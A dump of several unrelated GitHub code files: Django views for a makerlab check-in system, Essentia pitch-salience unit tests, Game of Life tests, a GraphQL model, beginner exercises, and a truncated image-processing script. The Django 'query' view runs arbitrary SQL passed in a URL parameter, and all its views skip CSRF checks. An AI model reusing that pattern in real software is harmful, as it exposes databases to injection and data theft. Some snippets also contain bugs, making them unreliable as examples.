bytes.fromhex(arg)\n else: # Try int(..., 0) conversion, or fail\n val = int(arg, 0).to_bytes(length, \"big\")\n return val\n\ndef main():\n parser = argparse.ArgumentParser(\n description = \"SCHC-over-LoRaWAN IID computation\")\n parser.add_argument(\"devEUI\", help=\"LoRaWAN Device EUI\")\n parser.add_argument(\"key\", help=\"LoRaWAN AppSKey\")\n args = parser.parse_args()\n\n devEUI = args_to_bytes(args.devEUI, 8)\n key = args_to_bytes(args.key, 16)\n\n iid = aes128_cmac(devEUI, key, length=8)\n print(hexlify(iid).decode().upper())\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jca-klk/schc-lorawan-iid","sub_path":"schc-lorawan-iid.py","file_name":"schc-lorawan-iid.py","file_ext":"py","file_size_in_byte":1169,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"9031844178","text":"from django.shortcuts import render\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.http import JsonResponse\nfrom . models import RegisteredUser, EntryExit, Item, InUseItem, SavedQuery\nfrom . import functions as functions\n\nimport jwt\nimport json\nimport datetime\n\nexisting_qr_codes = []\ncurrently_logged_in_qr_codes = []\nuser_entrytime_mapping = {}\n\n\n\nfor userObj in RegisteredUser.objects.raw('SELECT id,user_id FROM makerlab_registereduser'):\n existing_qr_codes.append(userObj.user_id)\n\n# Create your views here.\n\ndef index(request):\n return render(request, 'index.html')\n\n@csrf_exempt\ndef register(request):\n\n body_unicode = request.body.decode('utf-8')\n body = json.loads(body_unicode)\n\n user_id = functions.make_qr_code()\n existing_qr_codes.append(user_id)\n first_name = body[\"firstName\"]\n last_name = body[\"lastName\"]\n date_of_birth = body[\"DateOfBirth\"]\n email = body[\"email\"]\n\n if functions.email_preexist(email) == True:\n return JsonResponse({'status': False, 'message': 'user already registered'}, status=401)\n\n visitor_type = body[\"VisitorType\"]\n student_id = -1\n\n if visitor_type == \"student\":\n student_id = body[\"StudentID\"]\n\n new_user = RegisteredUser.objects.create(user_id = user_id, first_name = first_name, last_name = last_name, date_of_birth = date_of_birth, email = email, visitor_type = visitor_type, student_id = student_id)\n new_user.save()\n functions.send_qr_email(user_id, email)\n return JsonResponse({ 'success': True, 'data': 'Nothing'})\n\n\n@csrf_exempt\ndef login(request):\n\n incoming_qr_code = request.GET.get(\"id\")\n if incoming_qr_code not in existing_qr_codes:\n return JsonResponse({ 'status': False, 'message' : 'user not registered'}, status = 401)\n\n else:\n\n if incoming_qr_code not in currently_logged_in_qr_codes:\n #entering makerlab\n\n entry_time = datetime.datetime.now()\n user_entrytime_mapping[incoming_qr_code] = entry_time\n currently_logged_in_qr_codes.append(incoming_qr_code)\n return JsonResponse({'success': True, 'data': 'Nothing', 'message': 'logged in'})\n\n else:\n #exiting makerlab\n\n exit_time = datetime.datetime.now()\n currently_logged_in_qr_codes.remove(incoming_qr_code)\n user = functions.get_current_user(incoming_qr_code)\n new_entry_exit = EntryExit.objects.create(user = user, entry_time = user_entrytime_mapping[incoming_qr_code], exit_time = exit_time)\n new_entry_exit.save()\n del user_entrytime_mapping[incoming_qr_code]\n return JsonResponse({'success': True, 'id': incoming_qr_code, 'message': 'logging out'})\n\n@csrf_exempt\ndef handle_items(request):\n\n if request.method == 'GET':\n return JsonResponse({'success': True, 'items': functions.grab_items(), 'message': 'send items'})\n\n else:\n\n body_unicode = request.body.decode('utf-8')\n body = json.loads(body_unicode)\n\n user_id = functions.get_current_user(body[\"id\"])\n items_chosen = body[\"items\"]\n time_used_id = None\n\n for entryexitObj in EntryExit.objects.raw('SELECT id,user FROM makerlab_entryexit'):\n if entryexitObj.user == user_id:\n entry_exit_id = entryexitObj.id\n print(entry_exit_id)\n\n entryexitObj = functions.getEntryExit(entry_exit_id)\n print(entryexitObj)\n\n for c_item in items_chosen:\n item = functions.getItem(c_item)\n new_in_use_machine = InUseItem.objects.create( item = item, entry_exit_id = entryexitObj)\n new_in_use_machine.save()\n\n return JsonResponse({'success': True, 'data': 'Nothing', 'message': 'machine records saved'})\n\n@csrf_exempt\ndef gettoken(request):\n data=json.loads(request.body.decode('utf-8'))\n token=functions.createToken(data)\n if token==False:\n return JsonResponse({},status = 401)\n return JsonResponse({'token':str(token)})\n\n@csrf_exempt\ndef getsavedqueries(request):\n token=request.GET.get(\"token\")\n if not functions.validateToken(token):\n return JsonResponse({},status=401)\n queries=[]\n for query in SavedQuery.objects.all():\n queries.append({'query_name':query.query_name,'query_sql':query.query_sql})\n return JsonResponse({'queries':queries})\n\n@csrf_exempt\ndef query(request):\n token=request.GET.get(\"token\")\n if not functions.validateToken(token):\n return JsonResponse({},status=401)\n sql=request.GET.get(\"sql\")\n query_results=functions.completeQuery(sql)\n return JsonResponse({'result':query_results})\n\n@csrf_exempt\ndef savequery(request):\n data=json.loads(request.body.decode('utf-8'))\n if not functions.validateToken(data['token']):\n return JsonResponse({},status=401)\n data=data['query']\n new_entry=SavedQuery.objects.create(query_name=data['query_name'],query_sql=data['query_sql'])\n new_entry.save()\n return JsonResponse({},status=200)","repo_name":"moii789/MakerLab_Management_System","sub_path":"databasecapstone/makerlab/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5003,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"2011205108","text":"from essentia_test import *\nfrom numpy import *\n\nclass TestPitchSalienceFunction(TestCase):\n \n def testInvalidParam(self):\n self.assertConfigureFails(PitchSalienceFunction(), {'binResolution': -1})\n self.assertConfigureFails(PitchSalienceFunction(), {'binResolution': 0}) \n self.assertConfigureFails(PitchSalienceFunction(), {'binResolution': 101}) \n self.assertConfigureFails(PitchSalienceFunction(), {'harmonicWeight': -1})\n self.assertConfigureFails(PitchSalienceFunction(), {'harmonicWeight': 2})\n self.assertConfigureFails(PitchSalienceFunction(), {'magnitudeCompression': 0}) \n self.assertConfigureFails(PitchSalienceFunction(), {'magnitudeCompression': -1})\n self.assertConfigureFails(PitchSalienceFunction(), {'magnitudeCompression': 2}) \n self.assertConfigureFails(PitchSalienceFunction(), {'magnitudeThreshold': -1})\n self.assertConfigureFails(PitchSalienceFunction(), {'numberHarmonics': 0})\n self.assertConfigureFails(PitchSalienceFunction(), {'numberHarmonics': -1}) \n self.assertConfigureFails(PitchSalienceFunction(), {'referenceFrequency': -1})\n self.assertConfigureFails(PitchSalienceFunction(), {'referenceFrequency': 0}) \n\n def testEmpty(self): \n self.assertEqualVector(PitchSalienceFunction()([], []), zeros(600))\n\n def testSinglePeak(self): \n # Provide a single input peak with a unit magnitude at the reference frequency, and \n # validate that the output salience function has only one non-zero element at the first bin. \n # N.B: default value for bin Resolution is 10.\n freq_speaks = [55] \n mag_speaks = [1] \n outputLength = 600 # calculated by fiveOctaveFullRange/binResolution = 6000/10 \n # Length of the non-zero values for this Pitch Salience = 11\n expectedPitchSalience = [1.0000000e+00, 9.7552824e-01, 9.0450847e-01, 7.9389262e-01, 6.5450847e-01,\n 5.0000000e-01, 3.4549147e-01, 2.0610739e-01, 9.5491491e-02, 2.4471754e-02, 3.7493994e-33]\n # Append zeros to expected salience\n expectedPitchSalience += [0] * (outputLength-11)\n \n calculatedPitchSalience = PitchSalienceFunction()(freq_speaks, mag_speaks)\n self.assertEqual(len(calculatedPitchSalience), outputLength) \n # Check the first 11 elements. The first element has value \"1\".\n # The next returned 10 non-zero values decreasing in magnitude, should match \"expected\" above.\n self.assertAlmostEqualVectorFixedPrecision(calculatedPitchSalience, expectedPitchSalience, 8)\n\n def testSinglePeakNonDefaultBR(self): \n # Same as above, but tweaking the Bin Resolution to ensure output length is consistant\n # Larger bin resolution reduces the number of non zero values in salience function\n binResolution = 40\n freq_speaks = [55] \n mag_speaks = [1] \n outputLength = int (6000/binResolution)\n # Length of the non-zero values for this Pitch Salience = 3 \n expectedPitchSalience = [1.0000000e+00, 5.0000000e-01, 3.7493994e-33]\n # Append zeros to expected salience\n expectedPitchSalience += [0] * (outputLength-3)\n \n calculatedPitchSalience = PitchSalienceFunction(binResolution=binResolution)(freq_speaks, mag_speaks)\n self.assertEqual(len(calculatedPitchSalience), outputLength)\n # Check the first 3 elements. The first has value \"1\".\n # The next returned 3 non-zero values decreasing in magnitude, should match \"expected\" above. \n self.assertAlmostEqualVectorFixedPrecision(calculatedPitchSalience, expectedPitchSalience, 8)\n\n def testSinglePeakLowCompression(self):\n # Provide a single input peak with a 0.5 magnitude at the reference frequency\n freq_speaks = [55]\n mag_speaks = [0.5]\n outputLength = 600\n\n # Low Compression expected values (0.0001)\n expectedLowCompPitchSalience = [9.9993068e-01, 9.7546059e-01, 9.0444577e-01, 7.9383761e-01, 6.5446311e-01,\n 4.9996534e-01, 3.4546751e-01, 2.0609310e-01, 9.5484875e-02, 2.4470057e-02, 3.7491393e-33]\n\n # Default magnitudeCompression expected values\n expectedNormalPitchSalience = [5.0000000e-01, 4.8776412e-01, 4.5225424e-01, 3.9694631e-01, 3.2725424e-01,\n 2.5000000e-01, 1.7274573e-01, 1.0305370e-01, 4.7745746e-02, 1.2235877e-02, 1.8746997e-33]\n \n # Append zeros to expected saliences\n expectedLowCompPitchSalience += [0] * (outputLength-11)\n expectedNormalPitchSalience += [0] * (outputLength-11)\n\n calculatedLowCompPitchSalience = PitchSalienceFunction(magnitudeCompression=0.0001)(freq_speaks, mag_speaks)\n self.assertEqual(len(calculatedLowCompPitchSalience), outputLength)\n self.assertAlmostEqualVectorFixedPrecision(calculatedLowCompPitchSalience, expectedLowCompPitchSalience, 8)\n\n calculatedNormalPitchSalience = PitchSalienceFunction()(freq_speaks, mag_speaks)\n self.assertEqual(len(calculatedNormalPitchSalience), outputLength)\n self.assertAlmostEqualVectorFixedPrecision(calculatedNormalPitchSalience, expectedNormalPitchSalience, 8)\n\n def testLowMagThreshold(self):\n freq_speaks = [55, 80, 120] # 3 peaks not harmonic\n mag_speaks = [1, 0.1, 0.2]\n outputLength = 600\n\n # This is the expected pitch salience from 1 peak at ampl = 1 (testSinglePeak earlier)\n expectedPitchSalience = [1.0000000e+00, 9.7552824e-01, 9.0450847e-01, 7.9389262e-01, 6.5450847e-01,\n 5.0000000e-01, 3.4549147e-01, 2.0610739e-01, 9.5491491e-02, 2.4471754e-02, 3.7493994e-33]\n\n # Append zeros to expected salience\n expectedPitchSalience += [0] * (outputLength-11) \n # At magThreshold = 13 or lower, only first peak gets through\n calculatedPitchSalience = PitchSalienceFunction(magnitudeThreshold=13)(freq_speaks, mag_speaks)\n\n self.assertEqual(len(calculatedPitchSalience), outputLength) \n self.assertAlmostEqualVectorFixedPrecision(calculatedPitchSalience, expectedPitchSalience, 8)\n\n def testTwoPeaksHarmonics(self):\n # Provide a 2 input peaks with a unit magnitude and validate\n # that PSF is different depending on numberHarmonics configuration.\n freq_speaks = [55, 110]\n mag_speaks = [1, 1]\n outputLength = 600\n\n calculatedPitchSalience1H = PitchSalienceFunction(numberHarmonics=1)(freq_speaks, mag_speaks)\n self.assertEqual(len(calculatedPitchSalience1H), outputLength)\n calculatedPitchSalience20H = PitchSalienceFunction(numberHarmonics=20)(freq_speaks, mag_speaks)\n self.assertEqual(len(calculatedPitchSalience20H), outputLength)\n \n # Save operation is commented out. Uncomment to tweak parameters orinput to genrate new referencesw when required.\n # save('calculatedPitchSalience_test2PeaksHarmonics1H.npy', calculatedPitchSalience1H)\n # save('calculatedPitchSalience_test2PeaksHarmonics20H.npy', calculatedPitchSalience20H) \n # Reference samples are loaded as expected values\n\n expectedPitchSalience1H = load(join(filedir(), 'pitchsalience/calculatedPitchSalience_test2PeaksHarmonics1H.npy'))\n expectedPitchSalienceList1H = expectedPitchSalience1H.tolist()\n expectedPitchSalience20H = load(join(filedir(), 'pitchsalience/calculatedPitchSalience_test2PeaksHarmonics20H.npy'))\n expectedPitchSalienceList20H = expectedPitchSalience20H.tolist()\n # Detailed contents check on returned values (regression check\n self.assertAlmostEqualVectorFixedPrecision(calculatedPitchSalience1H, expectedPitchSalienceList1H, 7)\n self.assertAlmostEqualVectorFixedPrecision(calculatedPitchSalience20H, expectedPitchSalienceList20H, 7) \n \n def testDuplicatePeaks(self):\n # Provide multiple duplicate peaks at the reference frequency. \n freq_speaks = [55, 55, 55] \n mag_speaks = [1, 1, 1] \n outputLength = 600 \n # The same expectedPitchSalience from testSinglePeak test case\n expectedPitchSalience = [3.0000000e+00, 2.9265847e+00, 2.7135253e+00, 2.3816779e+00, 1.9635254e+00,\n 1.5000000e+00, 1.0364745e+00, 6.1832219e-01, 2.8647447e-01, 7.3415264e-02, 1.1248198e-32]\n\n # Append zeros to expected salience\n expectedPitchSalience += [0] * (outputLength-11)\n # For 3 duplicate peaks, the expectedPitchSalience needs to be scaled by a factor of 3\n arrayExpectedPitchSalience = 3*array(expectedPitchSalience)\n calculatedPitchSalience = PitchSalienceFunction()(freq_speaks, mag_speaks) \n self.assertAlmostEqualVectorFixedPrecision(calculatedPitchSalience, expectedPitchSalience, 7)\n\n def testSinglePeakHw0(self):\n freq_speaks = [55] \n mag_speaks = [1] \n outputLength = 600 \n calculatedPitchSalience = PitchSalienceFunction(harmonicWeight=0.0)(freq_speaks, mag_speaks) \n self.assertEqual(calculatedPitchSalience[0], 1)\n self.assertEqualVector(calculatedPitchSalience[1:outputLength], zeros(outputLength-1))\n self.assertEqual(len(calculatedPitchSalience), outputLength)\n \n def testSinglePeakHw1(self): \n freq_speaks = [55] \n mag_speaks = [1] \n outputLength = 600 \n expectedPitchSalience = [1.0000000e+00, 9.7552824e-01, 9.0450847e-01, 7.9389262e-01, 6.5450847e-01,\n 5.0000000e-01, 3.4549147e-01, 2.0610739e-01, 9.5491491e-02, 2.4471754e-02, 3.7493994e-33]\n # Append zeros to expected saliences\n expectedPitchSalience += [0] * (outputLength-11)\n\n calculatedPitchSalience = PitchSalienceFunction(harmonicWeight=1.0)(freq_speaks, mag_speaks) \n self.assertEqual(len(calculatedPitchSalience), outputLength) \n # Check the first 11 elements. The first has value \"1\" \n # The next 10 values are decreasing in magnitude, then zeros.\n self.assertAlmostEqualVectorFixedPrecision(calculatedPitchSalience, expectedPitchSalience, 8)\n\n def test3PeaksHw1(self):\n freq_speaks = [55, 100, 340] \n mag_speaks = [1, 1, 1] \n calculatedPitchSalience = PitchSalienceFunction(harmonicWeight=1.0)(freq_speaks, mag_speaks) \n # Save operation is commented out. Uncomment to tweak parameters orinput to genrate new referencesw when required.\n # save('calculatedPitchSalience_test3PeaksHw1.npy', calculatedPitchSalience)\n # Reference samples are loaded as expected values\n expectedPitchSalience = load(join(filedir(), 'pitchsalience/calculatedPitchSalience_test3PeaksHw1.npy'))\n expectedPitchSalienceList = expectedPitchSalience.tolist()\n self.assertAlmostEqualVectorFixedPrecision(expectedPitchSalienceList, calculatedPitchSalience, 8)\n \n def testDifferentPeaks(self):\n freq_speaks = [55, 85] \n mag_speaks = [1, 1] \n calculatedPitchSalience1 = PitchSalienceFunction()(freq_speaks,mag_speaks) \n # Save operation is commented out. Uncomment to tweak parameters orinput to genrate new referencesw when required.\n # save('calculatedPitchSalience_testDifferentPeaks1.npy', calculatedPitchSalience1)\n\n mag_speaks = [0.5, 2] \n calculatedPitchSalience2 = PitchSalienceFunction()(freq_speaks,mag_speaks)\n # Save operation is commented out. Uncomment to tweak parameters orinput to genrate new referencesw when required. \n # save('calculatedPitchSalience_testDifferentPeaks2.npy', calculatedPitchSalience2)\n self.assertAlmostEqual(calculatedPitchSalience1[0], 0.5, 3) \n self.assertAlmostEqual(calculatedPitchSalience2[0], 1.5, 3)\n\n expectedPitchSalience = load(join(filedir(), 'pitchsalience/calculatedPitchSalience_testDifferentPeaks1.npy'))\n expectedPitchSalienceList = expectedPitchSalience.tolist()\n self.assertAlmostEqualVectorFixedPrecision(expectedPitchSalienceList, calculatedPitchSalience1, 8)\n \n expectedPitchSalience = load(join(filedir(), 'pitchsalience/calculatedPitchSalience_testDifferentPeaks2.npy'))\n expectedPitchSalienceList = expectedPitchSalience.tolist()\n self.assertAlmostEqualVectorFixedPrecision(expectedPitchSalienceList, calculatedPitchSalience2, 8)\n \n def testBelowReferenceFrequency1(self):\n # Provide a single input peak below the reference frequency, so that the result is an empty pitch \n # salience function \n freq_speaks = [50] \n mag_speaks = [1] \n outputLength = 600 \n expectedPitchSalience = zeros(outputLength)\n calculatedPitchSalience = PitchSalienceFunction()(freq_speaks, mag_speaks) \n self.assertEqualVector(calculatedPitchSalience, expectedPitchSalience)\n\n def testBelowReferenceFrequency2(self):\n freq_speaks = [30] \n mag_speaks = [1] \n outputLength = 600 \n expectedPitchSalience = zeros(outputLength)\n calculatedPitchSalience = PitchSalienceFunction(referenceFrequency=40)(freq_speaks, mag_speaks) \n self.assertEqualVector(calculatedPitchSalience, expectedPitchSalience) \n\n def testMustContainPostiveFreq(self):\n # Throw in a zero Freq to see what happens. \n freq_speaks = [0, 250, 400, 1300, 2200, 3300] # length 6\n mag_speaks = [1, 1, 1, 1, 1, 1] # length 6 \n self.assertRaises(RuntimeError, lambda: PitchSalienceFunction()(freq_speaks, mag_speaks))\n\n def testUnequalInputs(self):\n # Choose a sample set of frequencies and magnitude vectors of unequal length\n freq_speaks = [250, 400, 1300, 2200, 3300] # length 5\n mag_speaks = [1, 1, 1, 1] # length 4\n self.assertRaises(EssentiaException, lambda: PitchSalienceFunction()(freq_speaks, mag_speaks))\n\n def testNegativeMagnitudeTest(self):\n freqs = [250, 500, 1000] # length 3\n mag_speaks = [1, -1, 1] # length 3\n self.assertRaises(EssentiaException, lambda: PitchSalienceFunction()(freqs, mag_speaks))\n\n def testRegression(self):\n filename = join(testdata.audio_dir, 'recorded', 'vignesh.wav')\n audio = MonoLoader(filename=filename, sampleRate=44100)()\n frameSize = 2048\n sampleRate = 44100\n guessUnvoiced = True\n hopSize = 512\n\n # 1. Truncate the audio to take 0.5 sec (keep npy file size low)\n audio = audio[:22050]\n\n run_windowing = Windowing(type='hann', zeroPadding=3*frameSize) # Hann window with x4 zero padding\n run_spectrum = Spectrum(size=frameSize * 4)\n run_spectral_peaks = SpectralPeaks(minFrequency=1,\n maxFrequency=20000,\n maxPeaks=100,\n sampleRate=sampleRate,\n magnitudeThreshold=0,\n orderBy=\"magnitude\")\n run_pitch_salience_function = PitchSalienceFunction()\n \n # Now we are ready to start processing.\n # 2. pass it through the equal-loudness filter\n audio = EqualLoudness()(audio)\n calculatedPitchSalience = []\n\n # 3. Cut audio into frames and compute for each frame:\n # spectrum -> spectral peaks -> pitch salience function -> pitch salience function peaks\n for frame in FrameGenerator(audio, frameSize=frameSize, hopSize=hopSize):\n frame = run_windowing(frame)\n spectrum = run_spectrum(frame)\n peak_frequencies, peak_magnitudes = run_spectral_peaks(spectrum)\n salience = run_pitch_salience_function(peak_frequencies, peak_magnitudes)\n calculatedPitchSalience.append(salience)\n\n # Save operation is commented out. Uncomment to tweak parameters orinput to genrate new referencesw when required.\n # save('calculatedPitchSalience_vignesh.npy', calculatedPitchSalience)\n expectedPitchSalience = load(join(filedir(), 'pitchsalience/calculatedPitchSalience_vignesh.npy'))\n expectedPitchSalienceList = expectedPitchSalience.tolist()\n \n for i in range(len(calculatedPitchSalience)):\n # Tolerance check to 6 decimal palces (for Linux Subsyst. compatibility.\n self.assertAlmostEqualVectorFixedPrecision(expectedPitchSalienceList[i], calculatedPitchSalience[i], 8) \n\n # Test for diverse frequency peaks.\n def test3Peaks(self):\n freq_speaks = [55, 100, 340] \n mag_speaks = [1, 1, 1] \n outputLength = 600 \n calculatedPitchSalience = PitchSalienceFunction()(freq_speaks, mag_speaks) \n # First check the length of the ouput is 600 \n self.assertEqual(len(calculatedPitchSalience), outputLength) \n # This test case with diverse frequency values to save ouput to NPY file since the output is more complex.\n # Save operation is commented out. Uncomment to tweak parameters orinput to genrate new referencesw when required. \n # save('calculatedPitchSalience_test3Peaks.npy', calculatedPitchSalience)\n # Reference samples are loaded as expected values\n expectedPitchSalience = load(join(filedir(), 'pitchsalience/calculatedPitchSalience_test3Peaks.npy'))\n expectedPitchSalienceList = expectedPitchSalience.tolist()\n self.assertAlmostEqualVectorFixedPrecision(expectedPitchSalienceList, calculatedPitchSalience, 8)\n\n\nsuite = allTests(TestPitchSalienceFunction)\n\nif __name__ == '__main__':\n TextTestRunner(verbosity=2).run(suite)\n","repo_name":"MTG/essentia","sub_path":"test/src/unittests/tonal/test_pitchsaliencefunction.py","file_name":"test_pitchsaliencefunction.py","file_ext":"py","file_size_in_byte":17705,"program_lang":"python","lang":"en","doc_type":"code","stars":2550,"dataset":"github-code","pt":"88"} +{"seq_id":"36582506683","text":"\"\"\"Very basic tests.\"\"\"\nimport pytest\n\nfrom gol import Universe\n\n\n@pytest.fixture\ndef original_universe():\n \"\"\"Return a small universe with a set random seed.\"\"\"\n universe = Universe(5, 5, seed_of_life=1, threshold=0.5)\n return universe\n\n\ndef test_universe_representation(original_universe: Universe):\n \"\"\"Test that the universe is represented correctly and consistently.\"\"\"\n universe_str = str(original_universe)\n universe_repr = repr(original_universe)\n universe_display = original_universe.display()\n\n assert universe_str == \" ██ \\n ██ \\n█ █ \\n█ ██ \\n ██ \\n\"\n assert universe_repr == universe_str\n assert \"\\n\".join(universe_display) + \"\\n\" == universe_str\n\n\ndef test_universe_tick(original_universe: Universe):\n \"\"\"Test that the ticking function works correctly.\"\"\"\n original_universe.tick()\n\n # Original cells should be:\n # [\n # False, True, True, False, False,\n # False, True, True, False, False,\n # True, False, True, False, False,\n # True, False, True, True, False,\n # False, True, True, False, False,\n # ]\n\n # fmt: off\n expected_cells = [\n True, False, False, True, False,\n True, False, False, True, False,\n True, False, False, False, True,\n True, False, False, True, True,\n True, False, False, False, False,\n ]\n # fmt: on\n assert original_universe.cells == expected_cells\n","repo_name":"aachick/gol","sub_path":"gol_test.py","file_name":"gol_test.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"8116507045","text":"import strawberry\nfrom enum import Enum\n\n\n@strawberry.enum\nclass TrackStatus(Enum):\n IN_USE = \"IN_USE\"\n AVAILABLE = \"AVAILABLE\"\n MAINTENANCE = \"MAINTENANCE\"\n\n\n@strawberry.enum\nclass TrackType(Enum):\n CAR = \"CAR\"\n TRUCK = \"TRUCK\"\n MOTORCYCLE = \"MOTORCYCLE\"\n BICYCLE = \"BICYCLE\"\n AIRPLANE = \"AIRPLANE\"\n\n\ntracks = [\n {\"id\": \"1\",\n \"type\": TrackType.TRUCK,\n \"status\": TrackStatus.AVAILABLE,\n \"maxWeight\": 5000, },\n {\"id\": \"2\",\n \"type\": TrackType.CAR,\n \"status\": TrackStatus.IN_USE,\n \"maxWeight\": 5000, },\n {\"id\": \"3\",\n \"type\": TrackType.TRUCK,\n \"status\": TrackStatus.AVAILABLE,\n \"maxWeight\": 5000, },\n]\n\n\n@strawberry.type\nclass Track:\n id: strawberry.ID\n status: TrackStatus\n max_weight: float = strawberry.field(name=\"maxWeight\")\n type: TrackType\n\n @classmethod\n def resolve_reference(cls, id: strawberry.ID):\n for track in tracks:\n if track.id == id:\n return Track(id=id, max_weight=track['maxWeight'], type=track[\"type\"], status=track['status'])\n return None\n","repo_name":"Crhis35/nestjs-graphql-federation","sub_path":"apps/delivery-subgraph/models/track.py","file_name":"track.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"35252430942","text":"\"\"\"9) El gobierno del estado de México desea reforestar un bosque que mide determinado numero de hectáreas. \nSi la superficie del terreno excede a 1 millón de metros cuadrados, entonces decidirá sembrar de la sig. manera:\nPorcentaje de la superficie del bosque Tipo de árbol\n70% pino\n20% oyamel\n10% cedro\nSi la superficie del terreno es menor o igual a un millón de metros cuadrados, entonces decidirá sembrar de la sig. manera:\nPorcentaje de la superficie del bosque Tipo de árbol\n50% pino\n30% oyamel\n20% cedro\nEl gobierno desea saber el numero de pinos, oyameles y cedros que tendrá que sembrar en el bosque, si se sabe que en 10 metros cuadrados caben 8 pinos,\n en 15 metros cuadrados caben 15 oyameles y en 18 metros cuadrados caben 10 cedros. También se sabe que una hectárea equivale a 10 mil metros cuadrados.\"\"\"\n\nimport math\n\nMetros=float\nPinos=float\nOyameles=float\nCedros=float\nHectarea=int(input(\"Ingrese las hectareas del terreno:\"))\nMetros=Hectarea*10000\n\nif Metros>1000000:\n Pinos=Metros*.70\n Oyameles=Metros*.20\n Cedros=Metros*.10\n\nelif Metros<=1000000:\n Pinos=Metros*.50\n Oyameles=Metros*.30\n Cedros=Metros*.20 \n \n \n \nprint(\"Arboles que se puedan sembrar: Pinos\", math.trunc(Pinos/10)*8,\"en\",Pinos,\"m2\")\nprint(\"Arboles que se puedan sembrar: Oyameles\",\"Oyameles\",math.trunc(Oyameles/15)*15,\"en\",Oyameles,\"m2\")\nprint(\"Arboles que se puedan sembrar: Cedros\",\"Cedros\",math.trunc(Cedros/18)*10,\"en\",Cedros,\"m2\")\n\n\n","repo_name":"Eduar1981/python","sub_path":"Problemas _Propuesto.py/pino.py","file_name":"pino.py","file_ext":"py","file_size_in_byte":1474,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"23116963872","text":"# Created by matthewkight at 5/9/22\nfrom typing import Optional\n\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\nclass Solution:\n def mergeTwoLists(self, list1: Optional[ListNode], list2: Optional[ListNode]) -> Optional[ListNode]:\n retList = []\n while list1 is not None or list2 is not None:\n if list1 is None:\n # add all the l2 elements\n retList.append(list2.val)\n list2 = list2.next\n elif list2 is None:\n # add all the l2 elements\n retList.append(list1.val)\n list1 = list1.next\n elif list1.val <= list2.val:\n retList.append(list1.val)\n list1 = list1.next\n else:\n retList.append(list2.val)\n list2 = list2.next\n\n if len(retList) == 0:\n return list1\n\n retListHead = ListNode(retList[0])\n walk = retListHead\n for i in range(1, len(retList)):\n walk.next = ListNode(retList[i])\n walk = walk.next\n return retListHead\n\n\n\nif __name__ == '__main__':\n pass\n","repo_name":"mdkdoc15/Leetcode-grind-75","sub_path":"Merge2SortedList/Merge2SortedList.py","file_name":"Merge2SortedList.py","file_ext":"py","file_size_in_byte":1190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"22890151207","text":"import urllib.request\nfrom re import findall\n\ndef getUrl(texto):\n# req = 'http://www.freecsstemplates.org/r/'\n try:\n req = texto\n response = urllib.request.urlopen(req)\n server = str(response.geturl())\n if server.endswith('\"'):\n server = server[0, server.len()-1]\n print(server)\n c = len(findall('(?=/)',server))\n if c > 2:\n server = server.split(sep=\"/\", maxsplit=-3)[2]\n print(\"Server: \", server)\n t = server, str(response.read())\n return(t)\n except urllib.error.HTTPError:\n \tprint(\"Error en la llamada\")\n","repo_name":"juanrodriguez58/python2","sub_path":"web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"88"} +{"seq_id":"31244481447","text":"import numpy as np\nimport matplotlib.image as io\nimport matplotlib.pyplot as plt\nfrom scipy import signal\nfrom skimage.restoration import denoise_nl_means, estimate_sigma\nfrom numpy import linalg as LA\nfrom scipy.ndimage.interpolation import rotate\n# from sklearn.neighbors import KernelDensity\nimport itertools\nimport cv2\nfrom operator import itemgetter\n\n\ndef get_centroid(image): \n filter_size = 11\n filter = np.ones((filter_size,filter_size))\n filter_offset = (filter_size-1)/2\n filter_img = signal.convolve2d(image, filter, mode='same', boundary='fill', fillvalue=0)\n max_indices = np.where(filter_img == filter_img.max())\n max_indices = list(max_indices)\n list_indices = []\n for i in max_indices:\n list_indices.append(list(i))\n if len(list_indices[0])>1:\n max_indices = sorted(list_indices, key=itemgetter(0, 1))\n else:\n max_indices = list_indices\n \n if len(max_indices[0])==1:\n index_0 = max_indices[0][0]\n index_1 = max_indices[1][0]\n else:\n if len(max_indices)==2:\n index_0 = max_indices[0][0]\n index_1 = max_indices[0][1]\n else:\n index_0 = max_indices[len(max_indices)//2][0]\n index_1 = max_indices[len(max_indices)//2][1]\n\n return index_0, index_1\n\n\ndef rotate_matrix(mat, angle):\n R = np.array([[np.cos(angle), -np.sin(angle)], [np.sin(angle), np.cos(angle)]])\n return \n\ndef get_rotated_img(x_centre, y_centre, theta, img, max_freq_intensity):\n \n deformed_img = np.ones((img.shape[0], img.shape[1]))*max_freq_intensity\n for x in range(img.shape[0]):\n for y in range(img.shape[1]):\n xc = x - x_centre\n yc = y - y_centre\n x_new = int(np.round(xc*np.cos(theta) - yc*np.sin(theta) + img.shape[0]//2))\n y_new = int(np.round(xc*np.sin(theta) + yc*np.cos(theta) + img.shape[1]//2))\n if x_new>=0 and x_new=0 and y_new0:\n deformed_img[x_new][y_new] = img[x, y]\n \n \n return deformed_img\n\n\ndef segment_img(im, diff): \n hist = plt.hist(im.ravel(), bins = 50, range = (im.min(), im.max()))\n indices = hist[0][np.argmax(hist[0]):]\n frequency = hist[1][np.argmax(hist[0]):]\n first_zero = np.where(indices == 0)[0][0]\n if diff < 4:\n thresh1 = 0.01\n else: thresh1 = 0.03\n\n if (np.sum(indices[first_zero:])/np.sum(indices)) < thresh1:\n for i in range(1, len(indices)):\n if (np.sum(indices[-i:])/np.sum(indices)) >= 0.09:\n index = i\n break\n # print(i)\n seg_im = (im>frequency[len(frequency) - i])*im\n elif (np.sum(indices[first_zero:])/np.sum(indices)) > 0.2:\n for i in range(1, len(indices)):\n if (np.sum(indices[-i:])/np.sum(indices)) >= 0.09:\n index = i\n break\n # print(i)\n seg_im = (im>frequency[len(frequency) - i])*im\n 